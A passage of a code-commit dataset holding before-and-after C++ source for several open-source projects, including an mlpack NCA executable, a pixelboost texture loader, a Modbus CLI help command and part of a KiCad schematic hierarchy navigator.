if( !retgip ) return EXIT_FAILURE;\n\n  std::cout << \"The input image has the following properties:\" << std::endl;\n  \/** Do not bother the user with the difference between pixeltype and componenttype:*\/\n  \/\/std::cout << \"\\tPixelType:          \" << PixelType << std::endl;\n  std::cout << \"\\tPixelType:          \" << componentType << std::endl;\n  std::cout << \"\\tDimension:          \" << dim << std::endl;\n  std::cout << \"\\tNumberOfComponents: \" << numberOfComponents << std::endl;\n\n  \/** Check for vector images. *\/\n  bool retNOCCheck = itktools::NumberOfComponentsCheck( numberOfComponents );\n  if( !retNOCCheck ) return EXIT_FAILURE;\n\n  \/** Class that does the work. *\/\n  ITKToolsCombineSegmentationsBase * filter = 0;\n\n  try\n  {\n    \/\/ now call all possible template combinations.\n    \/\/if( !filter ) filter = ITKToolsCombineSegmentations< 2, char >::New( dim, componentType );\n    if( !filter ) filter = ITKToolsCombineSegmentations< 2, unsigned char >::New( dim, componentType );\n\n#ifdef ITKTOOLS_3D_SUPPORT\n    \/\/if( !filter ) filter = ITKToolsCombineSegmentations< 3, char >::New( dim, componentType );\n    if( !filter ) filter = ITKToolsCombineSegmentations< 3, unsigned char >::New( dim, componentType );\n#endif\n    \/** Check if filter was instantiated. *\/\n    bool supported = itktools::IsFilterSupportedCheck( filter, dim, componentType );\n    if( !supported ) return EXIT_FAILURE;\n\n    \/** Set the filter arguments. *\/\n    filter->m_InputSegmentationFileNames = inputSegmentationFileNames;\n    filter->m_PriorProbImageFileNames = priorProbImageFileNames;\n    filter->m_SoftOutputFileNames = softOutputFileNames;\n    filter->m_HardOutputFileName = hardOutputFileName;\n    filter->m_ConfusionOutputFileName = confusionOutputFileName;\n    filter->m_NumberOfClasses = numberOfClasses;\n    filter->m_PriorProbs = priorProbs;\n    filter->m_Trust = trust;\n    filter->m_TerminationThreshold = terminationThreshold;\n    filter->m_CombinationMethod = combinationMethod;\n    filter->m_UseMask = useMask;\n    filter->m_MaskDilationRadius = maskDilationRadius;\n    filter->m_PrefOrder = prefOrder;\n    filter->m_InValues = inValues;\n    filter->m_OutValues = outValues;\n    filter->m_UseCompression = useCompression;\n\n    filter->Run();\n\n    delete filter;\n  }\n  catch( itk::ExceptionObject & excp )\n  {\n    std::cerr << \"ERROR: Caught ITK exception: \" << excp << std::endl;\n    delete filter;\n    return EXIT_FAILURE;\n  }\n\n  \/** End program. *\/\n  return EXIT_SUCCESS;\n\n} \/\/ end main\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * @file nca_main.cpp\n * @author Ryan Curtin\n *\n * Executable for Neighborhood Components Analysis.\n *\/\n#include <mlpack\/core.hpp>\n#include <mlpack\/core\/metrics\/lmetric.hpp>\n\n#include \"nca.hpp\"\n\n\/\/ Define parameters.\nPROGRAM_INFO(\"Neighborhood Components Analysis (NCA)\",\n    \"This program implements Neighborhood Components Analysis, both a linear \"\n    \"dimensionality reduction technique and a distance learning technique.  The\"\n    \" method seeks to improve k-nearest-neighbor classification on a dataset \"\n    \"by scaling the dimensions.  The method is nonparametric, and does not \"\n    \"require a value of k.  It works by using stochastic (\\\"soft\\\") neighbor \"\n    \"assignments and using optimization techniques over the gradient of the \"\n    \"accuracy of the neighbor assignments.\\n\"\n    \"\\n\"\n    \"For more details, see the following published paper:\\n\\n\"\n    \"@inproceedings{\\n\"\n    \"  author = {Goldberger, Jacob and Roweis, Sam and Hinton, Geoff and\\n\"\n    \"      Salakhutdinov, Ruslan},\\n\"\n    \"  booktitle = {Advances in Neural Information Processing Systems 17},\\n\"\n    \"  pages = {513--520},\\n\"\n    \"  publisher = {MIT Press},\\n\"\n    \"  title = {{Neighbourhood Components Analysis}},\\n\"\n    \"  year = {2004}\\n\"\n    \"}\\n\"\n    \"\\n\"\n    \"To work, this algorithm needs labeled data.  It can be given as the last \"\n    \"row of the input dataset (--input_file), or alternatively in a separate \"\n    \"file (--labels_file).\");\n\nPARAM_STRING_REQ(\"input_file\", \"Input dataset to run NCA on.\", \"i\");\nPARAM_STRING_REQ(\"output_file\", \"Output file for learned distance matrix.\",\n    \"o\");\nPARAM_STRING(\"labels_file\", \"File of labels for input dataset.\", \"l\", \"\");\n\nusing namespace mlpack;\nusing namespace mlpack::nca;\nusing namespace mlpack::metric;\nusing namespace std;\nusing namespace arma;\n\nint main(int argc, char* argv[])\n{\n  \/\/ Parse command line.\n  CLI::ParseCommandLine(argc, argv);\n\n  const string inputFile = CLI::GetParam<string>(\"input_file\");\n  const string labelsFile = CLI::GetParam<string>(\"labels_file\");\n  const string outputFile = CLI::GetParam<string>(\"output_file\");\n\n  \/\/ Load data.\n  mat data;\n  data::Load(inputFile.c_str(), data, true);\n\n  \/\/ Do we want to load labels separately?\n  umat labels(data.n_cols, 1);\n  if (labelsFile != \"\")\n  {\n    data::Load(labelsFile.c_str(), labels, true);\n\n    if (labels.n_rows == 1)\n      labels = trans(labels);\n\n    if (labels.n_cols > 1)\n      Log::Fatal << \"Labels must have only one column or row!\" << endl;\n  }\n  else\n  {\n    for (size_t i = 0; i < data.n_cols; i++)\n      labels[i] = (int) data(data.n_rows - 1, i);\n\n    data.shed_row(data.n_rows - 1);\n  }\n\n  \/\/ Now create the NCA object and run the optimization.\n  NCA<LMetric<2> > nca(data, labels.unsafe_col(0));\n\n  mat distance;\n  nca.LearnDistance(distance);\n\n  \/\/ Save the output.\n  data::Save(CLI::GetParam<string>(\"output_file\").c_str(), distance, true);\n}\n<commit_msg>Remove citation from -h output.<commit_after>\/**\n * @file nca_main.cpp\n * @author Ryan Curtin\n *\n * Executable for Neighborhood Components Analysis.\n *\/\n#include <mlpack\/core.hpp>\n#include <mlpack\/core\/metrics\/lmetric.hpp>\n\n#include \"nca.hpp\"\n\n\/\/ Define parameters.\nPROGRAM_INFO(\"Neighborhood Components Analysis (NCA)\",\n    \"This program implements Neighborhood Components Analysis, both a linear \"\n    \"dimensionality reduction technique and a distance learning technique.  The\"\n    \" method seeks to improve k-nearest-neighbor classification on a dataset \"\n    \"by scaling the dimensions.  The method is nonparametric, and does not \"\n    \"require a value of k.  It works by using stochastic (\\\"soft\\\") neighbor \"\n    \"assignments and using optimization techniques over the gradient of the \"\n    \"accuracy of the neighbor assignments.\\n\"\n    \"\\n\"\n    \"To work, this algorithm needs labeled data.  It can be given as the last \"\n    \"row of the input dataset (--input_file), or alternatively in a separate \"\n    \"file (--labels_file).\");\n\nPARAM_STRING_REQ(\"input_file\", \"Input dataset to run NCA on.\", \"i\");\nPARAM_STRING_REQ(\"output_file\", \"Output file for learned distance matrix.\",\n    \"o\");\nPARAM_STRING(\"labels_file\", \"File of labels for input dataset.\", \"l\", \"\");\n\nusing namespace mlpack;\nusing namespace mlpack::nca;\nusing namespace mlpack::metric;\nusing namespace std;\nusing namespace arma;\n\nint main(int argc, char* argv[])\n{\n  \/\/ Parse command line.\n  CLI::ParseCommandLine(argc, argv);\n\n  const string inputFile = CLI::GetParam<string>(\"input_file\");\n  const string labelsFile = CLI::GetParam<string>(\"labels_file\");\n  const string outputFile = CLI::GetParam<string>(\"output_file\");\n\n  \/\/ Load data.\n  mat data;\n  data::Load(inputFile.c_str(), data, true);\n\n  \/\/ Do we want to load labels separately?\n  umat labels(data.n_cols, 1);\n  if (labelsFile != \"\")\n  {\n    data::Load(labelsFile.c_str(), labels, true);\n\n    if (labels.n_rows == 1)\n      labels = trans(labels);\n\n    if (labels.n_cols > 1)\n      Log::Fatal << \"Labels must have only one column or row!\" << endl;\n  }\n  else\n  {\n    for (size_t i = 0; i < data.n_cols; i++)\n      labels[i] = (int) data(data.n_rows - 1, i);\n\n    data.shed_row(data.n_rows - 1);\n  }\n\n  \/\/ Now create the NCA object and run the optimization.\n  NCA<LMetric<2> > nca(data, labels.unsafe_col(0));\n\n  mat distance;\n  nca.LearnDistance(distance);\n\n  \/\/ Save the output.\n  data::Save(CLI::GetParam<string>(\"output_file\").c_str(), distance, true);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <string.h>\n\n#include \"glm\/gtx\/bit.hpp\"\n#include \"stbimage\/stb_image.h\"\n\n#include \"pixelboost\/file\/fileSystem.h\"\n#include \"pixelboost\/graphics\/device\/texture.h\"\n\nusing namespace pb;\n\nTexture::Texture()\n    : _Data(0)\n{\n    \n}\n\nTexture::~Texture()\n{\n    if (_Data)\n        delete[] _Data;\n}\n\nbool Texture::LoadFromBytes(const unsigned char* data, int width, int height, bool createMips, TextureFormat format, bool hasPremultipliedAlpha)\n{\n#ifdef PIXELBOOST_GRAPHICS_HANDLE_CONTEXT_LOST\n    if (_Data != 0 && _Data != data)\n    {\n        delete[] _Data;\n        _Data = 0;\n    }\n    \n    _DataFormat = format;\n    _DataCreateMips = createMips;\n    _Size = glm::vec2(width, height);\n    \n    if (_Data == 0)\n    {\n        switch (format)\n        {\n            case kTextureFormatRGB:\n                _Data = new unsigned char[width*height*3];\n                memcpy(_Data, data, width*height*3);\n            case kTextureFormatRGBA:\n                _Data = new unsigned char[width*height*4];\n                memcpy(_Data, data, width*height*4);\n                break;\n        }\n    }\n#endif\n    \n    _HasPremultipliedAlpha = hasPremultipliedAlpha;\n    \n    return true;\n}\n\nbool Texture::LoadFromFile(pb::FileLocation location, const std::string& path, bool createMips, bool hasPremultipliedAlpha)\n{\n    bool status = true;\n    \n    if (path.substr(path.length()-4) == \".jpa\")\n    {\n        pb::File* file = pb::FileSystem::Instance()->OpenFile(location, path);\n        if (!file)\n            return false;\n        \n        int rgbLength;\n        int alphaLength;\n\n        file->Read(rgbLength);\n        file->Read(alphaLength);\n        \n        unsigned char* encodedRgbData = new unsigned char[rgbLength];\n        unsigned char* encodedAlphaData = new unsigned char[alphaLength];\n        \n        file->Read(encodedRgbData, rgbLength);\n        file->Read(encodedAlphaData, alphaLength);\n        \n        int width, height, components;\n        unsigned char* decodedRgb = stbi_load_from_memory(encodedRgbData, rgbLength, &width, &height, &components, STBI_default);\n        unsigned char* decodedAlpha = stbi_load_from_memory(encodedAlphaData, alphaLength, &width, &height, &components, STBI_default);\n        \n        unsigned char* decoded = new unsigned char[width*height*4];\n        \n        unsigned char* decodedTemp = decoded;\n        unsigned char* rgbTemp = decodedRgb;\n        unsigned char* alphaTemp = decodedAlpha;\n        \n        for (int y=0; y<height; y++)\n        {\n            for (int x=0; x<width; x++)\n            {\n                decodedTemp[0] = rgbTemp[0];\n                decodedTemp[1] = rgbTemp[1];\n                decodedTemp[2] = rgbTemp[2];\n                decodedTemp[3] = *alphaTemp;\n                \n                decodedTemp += 4;\n                rgbTemp += 3;\n                alphaTemp++;\n            }\n        }\n        \n        stbi_image_free(decodedRgb);\n        stbi_image_free(decodedAlpha);\n        \n        status = LoadFromBytes(decoded, width, height, createMips, kTextureFormatRGBA, hasPremultipliedAlpha);\n        \n        delete[] decoded;\n    } else {\n        std::vector<unsigned char> data;\n        unsigned char* decoded;\n\n        pb::File* file = pb::FileSystem::Instance()->OpenFile(location, path);\n        if (!file)\n            return false;\n        \n        file->ReadAll(data);\n        \n        int width, height, components;\n        decoded = stbi_load_from_memory(&data[0], data.size(), &width, &height, &components, STBI_default);\n        \n        if (!glm::isPowerOfTwo(width) || !glm::isPowerOfTwo(height))\n            createMips = false;\n        \n        delete file;\n        \n        status = LoadFromBytes(decoded, width, height, createMips, components == 3 ? kTextureFormatRGB : kTextureFormatRGBA, hasPremultipliedAlpha);\n        \n        stbi_image_free(decoded);\n    }\n    \n    return status;\n}\n\nconst glm::vec2& Texture::GetSize() const\n{\n    return _Size;\n}\n\nbool Texture::HasPremultipliedAlpha() const\n{\n    return _HasPremultipliedAlpha;\n}\n\nvoid Texture::OnContextLost()\n{\n    LoadFromBytes(_Data, _Size.x, _Size.y, _DataCreateMips, _DataFormat, _HasPremultipliedAlpha);\n}\n<commit_msg>Force image type in load jpeg+png alpha<commit_after>#include <string.h>\n\n#include \"glm\/gtx\/bit.hpp\"\n#include \"stbimage\/stb_image.h\"\n\n#include \"pixelboost\/file\/fileSystem.h\"\n#include \"pixelboost\/graphics\/device\/texture.h\"\n\nusing namespace pb;\n\nTexture::Texture()\n    : _Data(0)\n{\n    \n}\n\nTexture::~Texture()\n{\n    if (_Data)\n        delete[] _Data;\n}\n\nbool Texture::LoadFromBytes(const unsigned char* data, int width, int height, bool createMips, TextureFormat format, bool hasPremultipliedAlpha)\n{\n#ifdef PIXELBOOST_GRAPHICS_HANDLE_CONTEXT_LOST\n    if (_Data != 0 && _Data != data)\n    {\n        delete[] _Data;\n        _Data = 0;\n    }\n    \n    _DataFormat = format;\n    _DataCreateMips = createMips;\n    _Size = glm::vec2(width, height);\n    \n    if (_Data == 0)\n    {\n        switch (format)\n        {\n            case kTextureFormatRGB:\n                _Data = new unsigned char[width*height*3];\n                memcpy(_Data, data, width*height*3);\n            case kTextureFormatRGBA:\n                _Data = new unsigned char[width*height*4];\n                memcpy(_Data, data, width*height*4);\n                break;\n        }\n    }\n#endif\n    \n    _HasPremultipliedAlpha = hasPremultipliedAlpha;\n    \n    return true;\n}\n\nbool Texture::LoadFromFile(pb::FileLocation location, const std::string& path, bool createMips, bool hasPremultipliedAlpha)\n{\n    bool status = true;\n    \n    if (path.substr(path.length()-4) == \".jpa\")\n    {\n        pb::File* file = pb::FileSystem::Instance()->OpenFile(location, path);\n        if (!file)\n            return false;\n        \n        int rgbLength;\n        int alphaLength;\n\n        file->Read(rgbLength);\n        file->Read(alphaLength);\n        \n        unsigned char* encodedRgbData = new unsigned char[rgbLength];\n        unsigned char* encodedAlphaData = new unsigned char[alphaLength];\n        \n        file->Read(encodedRgbData, rgbLength);\n        file->Read(encodedAlphaData, alphaLength);\n        \n        int width, height, components;\n        unsigned char* decodedRgb = stbi_load_from_memory(encodedRgbData, rgbLength, &width, &height, &components, STBI_rgb);\n        unsigned char* decodedAlpha = stbi_load_from_memory(encodedAlphaData, alphaLength, &width, &height, &components, STBI_grey);\n        \n        unsigned char* decoded = new unsigned char[width*height*4];\n        \n        unsigned char* decodedTemp = decoded;\n        unsigned char* rgbTemp = decodedRgb;\n        unsigned char* alphaTemp = decodedAlpha;\n        \n        for (int y=0; y<height; y++)\n        {\n            for (int x=0; x<width; x++)\n            {\n                decodedTemp[0] = rgbTemp[0];\n                decodedTemp[1] = rgbTemp[1];\n                decodedTemp[2] = rgbTemp[2];\n                decodedTemp[3] = *alphaTemp;\n                \n                decodedTemp += 4;\n                rgbTemp += 3;\n                alphaTemp++;\n            }\n        }\n        \n        stbi_image_free(decodedRgb);\n        stbi_image_free(decodedAlpha);\n        \n        status = LoadFromBytes(decoded, width, height, createMips, kTextureFormatRGBA, hasPremultipliedAlpha);\n        \n        delete[] decoded;\n    } else {\n        std::vector<unsigned char> data;\n        unsigned char* decoded;\n\n        pb::File* file = pb::FileSystem::Instance()->OpenFile(location, path);\n        if (!file)\n            return false;\n        \n        file->ReadAll(data);\n        \n        int width, height, components;\n        decoded = stbi_load_from_memory(&data[0], data.size(), &width, &height, &components, STBI_default);\n        \n        if (!glm::isPowerOfTwo(width) || !glm::isPowerOfTwo(height))\n            createMips = false;\n        \n        delete file;\n        \n        status = LoadFromBytes(decoded, width, height, createMips, components == 3 ? kTextureFormatRGB : kTextureFormatRGBA, hasPremultipliedAlpha);\n        \n        stbi_image_free(decoded);\n    }\n    \n    return status;\n}\n\nconst glm::vec2& Texture::GetSize() const\n{\n    return _Size;\n}\n\nbool Texture::HasPremultipliedAlpha() const\n{\n    return _HasPremultipliedAlpha;\n}\n\nvoid Texture::OnContextLost()\n{\n    LoadFromBytes(_Data, _Size.x, _Size.y, _DataCreateMips, _DataFormat, _HasPremultipliedAlpha);\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef MODBUS_HELP_COMMAND_HPP\n#define MODBUS_HELP_COMMAND_HPP\n\n#include \"ModbusCommand.hpp\"\n#include <stdexcept>\n\n\nstruct ModbusCliHelpForCommand : std::runtime_error {\n                                ModbusCliHelpForCommand(const std::string& cmd) : std::runtime_error(cmd) {}\n};\n\n\nstruct ModbusCliHelpListCommands : std::runtime_error {\n                                ModbusCliHelpListCommands() : std::runtime_error(\"\") {}\n};\n\n\nclass ModbusHelpCommand : public ModbusCommand {\npublic:\n    inline                                          ModbusHelpCommand(const ModbusCommandsMap& commands);\n    void                                            exec(ModbusClient& client, const std::vector<std::string>& args) override;\n    std::string                                     getShortHelpText() const override;\n    std::string                                     getHelpText() const override;\n\nprivate:\n    using OptionsDescription = boost::program_options::options_description;\n    using PositionalOptionsDescription = boost::program_options::positional_options_description;\n\n    void                                            show_commands_list() const;\n    void                                            show_command_help() const;\n\n    const ModbusCommandsMap                        &m_commands;\n    std::string                                     m_cmd;\n    OptionsDescription                              m_options;\n    PositionalOptionsDescription                    m_positional_options;\n};\n\n\nModbusHelpCommand::ModbusHelpCommand(const ModbusCommandsMap& commands) :\n    ModbusCommand(),\n    m_commands(commands),\n    m_cmd(),\n    m_options(\"options\"),\n    m_positional_options()\n{\n    namespace po = boost::program_options;\n\n    m_options.add_options()\n        (\"cmd\", po::value<std::string>(&m_cmd)->default_value(\"\"), \"show help for a command\");\n\n    m_positional_options.add(\"cmd\", 1);\n}\n\n\nvoid ModbusHelpCommand::exec(ModbusClient& \/*client*\/, const std::vector<std::string>& args) {\n    namespace po = boost::program_options;\n\n    po::variables_map vm;\n    po::store(po::command_line_parser(args).options(m_options).positional(m_positional_options).run(), vm);\n    po::notify(vm);\n\n    if (m_cmd == \"\")\n        show_commands_list();\n    else\n        show_command_help();\n}\n\n\nvoid ModbusHelpCommand::show_commands_list() const {\n    std::cout << \"List of available commands:\" << std::endl;\n\n    for (const auto& kv: m_commands)\n        std::cout << \"    \" << std::setw(15) << kv.first << \" - \" << kv.second->getShortHelpText() << std::endl;\n\n    std::cout << \"Type 'help <cmd>' to see details for each command.\" << std::endl;\n}\n\n\nvoid ModbusHelpCommand::show_command_help() const {\n    auto cmdobj = m_commands.find(m_cmd);\n\n    if (cmdobj == m_commands.end())\n        std::cout << \"No such command: \" << m_cmd << std::endl;\n    else\n        std::cout << cmdobj->second->getHelpText() << std::endl;\n}\n\n\nstd::string ModbusHelpCommand::getShortHelpText() const {\n    return \"Get list of available commands and help about each one\";\n}\n\n\nstd::string ModbusHelpCommand::getHelpText() const {\n    std::stringstream ss;\n\n    ss << getShortHelpText() << std::endl\n       << \"Usage:\" << std::endl\n       << \"    help [<cmd>]\" << std::endl\n       << \"If no command is given, a list of available commands is printed.\" << std::endl;\n\n    return ss.str();\n}\n\n#endif\n\n<commit_msg>Fix fill character for list of commands<commit_after>#ifndef MODBUS_HELP_COMMAND_HPP\n#define MODBUS_HELP_COMMAND_HPP\n\n#include \"ModbusCommand.hpp\"\n#include <stdexcept>\n\n\nstruct ModbusCliHelpForCommand : std::runtime_error {\n                                ModbusCliHelpForCommand(const std::string& cmd) : std::runtime_error(cmd) {}\n};\n\n\nstruct ModbusCliHelpListCommands : std::runtime_error {\n                                ModbusCliHelpListCommands() : std::runtime_error(\"\") {}\n};\n\n\nclass ModbusHelpCommand : public ModbusCommand {\npublic:\n    inline                                          ModbusHelpCommand(const ModbusCommandsMap& commands);\n    void                                            exec(ModbusClient& client, const std::vector<std::string>& args) override;\n    std::string                                     getShortHelpText() const override;\n    std::string                                     getHelpText() const override;\n\nprivate:\n    using OptionsDescription = boost::program_options::options_description;\n    using PositionalOptionsDescription = boost::program_options::positional_options_description;\n\n    void                                            show_commands_list() const;\n    void                                            show_command_help() const;\n\n    const ModbusCommandsMap                        &m_commands;\n    std::string                                     m_cmd;\n    OptionsDescription                              m_options;\n    PositionalOptionsDescription                    m_positional_options;\n};\n\n\nModbusHelpCommand::ModbusHelpCommand(const ModbusCommandsMap& commands) :\n    ModbusCommand(),\n    m_commands(commands),\n    m_cmd(),\n    m_options(\"options\"),\n    m_positional_options()\n{\n    namespace po = boost::program_options;\n\n    m_options.add_options()\n        (\"cmd\", po::value<std::string>(&m_cmd)->default_value(\"\"), \"show help for a command\");\n\n    m_positional_options.add(\"cmd\", 1);\n}\n\n\nvoid ModbusHelpCommand::exec(ModbusClient& \/*client*\/, const std::vector<std::string>& args) {\n    namespace po = boost::program_options;\n\n    po::variables_map vm;\n    po::store(po::command_line_parser(args).options(m_options).positional(m_positional_options).run(), vm);\n    po::notify(vm);\n\n    if (m_cmd == \"\")\n        show_commands_list();\n    else\n        show_command_help();\n}\n\n\nvoid ModbusHelpCommand::show_commands_list() const {\n    std::cout << \"List of available commands:\" << std::endl;\n    std::cout << std::setfill(' ');\n\n    for (const auto& kv: m_commands)\n        std::cout << \"    \" << std::setw(15) << kv.first << \" - \" << kv.second->getShortHelpText() << std::endl;\n\n    std::cout << \"Type 'help <cmd>' to see details for each command.\" << std::endl;\n}\n\n\nvoid ModbusHelpCommand::show_command_help() const {\n    auto cmdobj = m_commands.find(m_cmd);\n\n    if (cmdobj == m_commands.end())\n        std::cout << \"No such command: \" << m_cmd << std::endl;\n    else\n        std::cout << cmdobj->second->getHelpText() << std::endl;\n}\n\n\nstd::string ModbusHelpCommand::getShortHelpText() const {\n    return \"Get list of available commands and help about each one\";\n}\n\n\nstd::string ModbusHelpCommand::getHelpText() const {\n    std::stringstream ss;\n\n    ss << getShortHelpText() << std::endl\n       << \"Usage:\" << std::endl\n       << \"    help [<cmd>]\" << std::endl\n       << \"If no command is given, a list of available commands is printed.\" << std::endl;\n\n    return ss.str();\n}\n\n#endif\n\n<|endoftext|>"}
{"text":"<commit_before>\/******************\/\n\/*  hierarch.cpp  *\/\n\/******************\/\n\n#include \"fctsys.h\"\n#include \"gr_basic.h\"\n#include \"common.h\"\n#include \"class_drawpanel.h\"\n#include \"confirm.h\"\n#include \"bitmaps.h\"\n\n#include \"program.h\"\n#include \"general.h\"\n\n#include \"wx\/imaglist.h\"\n#include \"wx\/treectrl.h\"\n\n\nstatic bool UpdateScreenFromSheet( WinEDA_SchematicFrame* frame );\n\nenum\n{\n    ID_TREECTRL_HIERARCHY = 1600\n};\n\n\nclass WinEDA_HierFrame;\n\n\/* This class derived from wxTreeItemData stores the SCH_SHEET_PATH of each\n * sheet in hierarchy in each TreeItem, in its associated data buffer\n*\/\nclass TreeItemData : public wxTreeItemData\n{\npublic:\n    SCH_SHEET_PATH m_SheetPath;\n    TreeItemData( SCH_SHEET_PATH sheet ) : wxTreeItemData()\n    {\n        m_SheetPath = sheet;\n    }\n};\n\n\/* Class to handle hierarchy tree. *\/\nclass WinEDA_Tree : public wxTreeCtrl\n{\nprivate:\n    WinEDA_HierFrame* m_Parent;\n    wxImageList*      imageList;\n\npublic:\n    WinEDA_Tree() { }\n    WinEDA_Tree( WinEDA_HierFrame* parent );\n\n    DECLARE_DYNAMIC_CLASS( WinEDA_Tree )\n};\n\nIMPLEMENT_DYNAMIC_CLASS( WinEDA_Tree, wxTreeCtrl )\n\n\nWinEDA_Tree::WinEDA_Tree( WinEDA_HierFrame* parent ) :\n    wxTreeCtrl( (wxWindow*)parent, ID_TREECTRL_HIERARCHY,\n                wxDefaultPosition, wxDefaultSize,\n                wxTR_HAS_BUTTONS, wxDefaultValidator, wxT( \"HierachyTreeCtrl\" ) )\n{\n    m_Parent = parent;\n\n    \/\/ Make an image list containing small icons\n    imageList = new wxImageList( 16, 15, TRUE, 2 );\n\n    imageList->Add( wxBitmap( tree_nosel_xpm ) );\n    imageList->Add( wxBitmap( tree_sel_xpm ) );\n\n    AssignImageList( imageList );\n}\n\n\nclass WinEDA_HierFrame : public wxDialog\n{\npublic:\n    WinEDA_SchematicFrame* m_Parent;\n    WinEDA_Tree*           m_Tree;\n    int    m_nbsheets;\n    wxDC*  m_DC;\n\nprivate:\n    wxSize m_TreeSize;\n    int    maxposx;\n\npublic:\n    WinEDA_HierFrame( WinEDA_SchematicFrame* parent, wxDC* DC, const wxPoint& pos );\n    void BuildSheetsTree( SCH_SHEET_PATH* list, wxTreeItemId* previousmenu );\n\n    ~WinEDA_HierFrame();\n\n    void OnSelect( wxTreeEvent& event );\n\nprivate:\n    void OnQuit( wxCommandEvent& event );\n\n    DECLARE_EVENT_TABLE()\n};\n\nBEGIN_EVENT_TABLE( WinEDA_HierFrame, wxDialog )\n    EVT_TREE_ITEM_ACTIVATED( ID_TREECTRL_HIERARCHY,\n                             WinEDA_HierFrame::OnSelect )\nEND_EVENT_TABLE()\n\n\nvoid WinEDA_SchematicFrame::InstallHierarchyFrame( wxDC* DC, wxPoint& pos )\n{\n    WinEDA_HierFrame* treeframe = new WinEDA_HierFrame( this, DC, pos );\n\n    treeframe->ShowModal();\n    treeframe->Destroy();\n}\n\n\nWinEDA_HierFrame::WinEDA_HierFrame( WinEDA_SchematicFrame* parent, wxDC* DC,\n                                    const wxPoint& pos ) :\n    wxDialog( parent, -1, _( \"Navigator\" ), pos, wxSize( 110, 50 ),\n              DIALOG_STYLE )\n{\n    wxTreeItemId cellule;\n\n    m_Parent = parent;\n    m_DC   = DC;\n    m_Tree = new WinEDA_Tree( this );\n\n    m_nbsheets = 1;\n\n    cellule = m_Tree->AddRoot( _( \"Root\" ), 0, 1 );\n    m_Tree->SetItemBold( cellule, TRUE );\n    SCH_SHEET_PATH list;\n    list.Push( g_RootSheet );\n    m_Tree->SetItemData( cellule, new TreeItemData( list ) );\n\n    wxRect itemrect;\n#ifdef __UNIX__\n    itemrect.SetWidth( 100 );\n    itemrect.SetHeight( 20 );\n#else\n    m_Tree->GetBoundingRect( cellule, itemrect );\n#endif\n    m_TreeSize.x = itemrect.GetWidth() + 10;\n    m_TreeSize.y = 20;\n\n    if( m_Parent->GetSheet()->Last() == g_RootSheet )\n        m_Tree->SelectItem( cellule ); \/\/root.\n\n    maxposx = 15;\n    BuildSheetsTree( &list, &cellule );\n\n    if( m_nbsheets > 1 )\n    {\n        m_Tree->Expand( cellule );\n\n        \/\/ Readjust the size of the frame to an optimal value.\n        m_TreeSize.y += m_nbsheets * itemrect.GetHeight();\n        m_TreeSize.x  = MIN( m_TreeSize.x, 250 );\n        m_TreeSize.y  = MIN( m_TreeSize.y, 350 );\n        SetClientSize( m_TreeSize );\n    }\n}\n\n\nWinEDA_HierFrame::~WinEDA_HierFrame()\n{\n}\n\n\nvoid WinEDA_HierFrame::OnQuit( wxCommandEvent& WXUNUSED (event) )\n{\n    \/\/ true is to force the frame to close\n    Close( true );\n}\n\n\n\/* Routine to create the tree in the navigation hierarchy\n * Schematic\n * This routine is re-entrant!\n *\/\nvoid WinEDA_HierFrame::BuildSheetsTree( SCH_SHEET_PATH* list,\n                                        wxTreeItemId*  previousmenu )\n\n{\n    wxTreeItemId menu;\n\n    if( m_nbsheets > NB_MAX_SHEET )\n    {\n        if( m_nbsheets == (NB_MAX_SHEET + 1) )\n        {\n            wxString msg;\n            msg << wxT( \"BuildSheetsTree: Error: nbsheets > \" ) << NB_MAX_SHEET;\n            DisplayError( this, msg );\n            m_nbsheets++;\n        }\n        return;\n    }\n\n    maxposx += m_Tree->GetIndent();\n    SCH_ITEM* schitem = list->LastDrawList();\n    while( schitem && m_nbsheets < NB_MAX_SHEET )\n    {\n        if( schitem->Type() == DRAW_SHEET_STRUCT_TYPE )\n        {\n            SCH_SHEET* sheet = (SCH_SHEET*) schitem;\n            m_nbsheets++;\n            menu = m_Tree->AppendItem( *previousmenu, sheet->m_SheetName, 0, 1 );\n            list->Push( sheet );\n            m_Tree->SetItemData( menu, new TreeItemData( *list ) );\n            int ll = m_Tree->GetItemText( menu ).Len();\n#ifdef __WINDOWS__\n            ll *= 9;    \/\/  * char width\n#else\n            ll *= 12;   \/\/  * char width\n#endif\n            ll += maxposx + 20;\n            m_TreeSize.x  = MAX( m_TreeSize.x, ll );\n            m_TreeSize.y += 1;\n            if( *list == *( m_Parent->GetSheet() ) )\n            {\n                m_Tree->EnsureVisible( menu );\n                m_Tree->SelectItem( menu );\n            }\n            BuildSheetsTree( list, &menu );\n            m_Tree->Expand( menu );\n            list->Pop();\n        }\n        schitem = schitem->Next();\n    }\n\n    maxposx -= m_Tree->GetIndent();\n}\n\n\n\/* Called on a double-click on a tree item:\n * Open the selected sheet, and display the corresponding screen\n *\/\nvoid WinEDA_HierFrame::OnSelect( wxTreeEvent& event )\n\n{\n    wxTreeItemId ItemSel = m_Tree->GetSelection();\n\n    *(m_Parent->m_CurrentSheet) =\n        ( (TreeItemData*) m_Tree->GetItemData( ItemSel ) )->m_SheetPath;\n    UpdateScreenFromSheet( m_Parent );\n    Close( TRUE );\n}\n\n\n\/* Set the current screen to display the parent sheet of the current\n * displayed sheet\n *\/\nvoid WinEDA_SchematicFrame::InstallPreviousSheet()\n{\n    if( m_CurrentSheet->Last() == g_RootSheet )\n        return;\n\n    g_ItemToRepeat = NULL;\n    ClearMsgPanel();\n\n    \/\/make a copy for testing purposes.\n    SCH_SHEET_PATH listtemp = *m_CurrentSheet;\n    listtemp.Pop();\n    if( listtemp.LastScreen() == NULL )\n    {\n        DisplayError( this,\n                      wxT( \"InstallPreviousScreen() Error: Sheet not found\" ) );\n        return;\n    }\n    m_CurrentSheet->Pop();\n    UpdateScreenFromSheet( this );\n}\n\n\n\/* Routine installation of the screen corresponding to the symbol edge Sheet\n * Be careful here because the SCH_SHEETs within the EEDrawList\n * don't actually have a valid m_AssociatedScreen (on purpose -- you need the\n * m_SubSheet hierarchy to maintain path info (well, this is but one way to\n * maintain path info..)\n *\/\nvoid WinEDA_SchematicFrame::InstallNextScreen( SCH_SHEET* Sheet )\n{\n    if( Sheet == NULL )\n    {\n        DisplayError( this, wxT( \"InstallNextScreen() error\" ) ); return;\n    }\n    m_CurrentSheet->Push( Sheet );\n    g_ItemToRepeat = NULL;\n    ClearMsgPanel();\n    UpdateScreenFromSheet( this );\n}\n\n\n\/* Find and install the screen on the sheet symbol Sheet.\n * If Sheet == NULL installation of the screen base (Root).\n *\/\nstatic 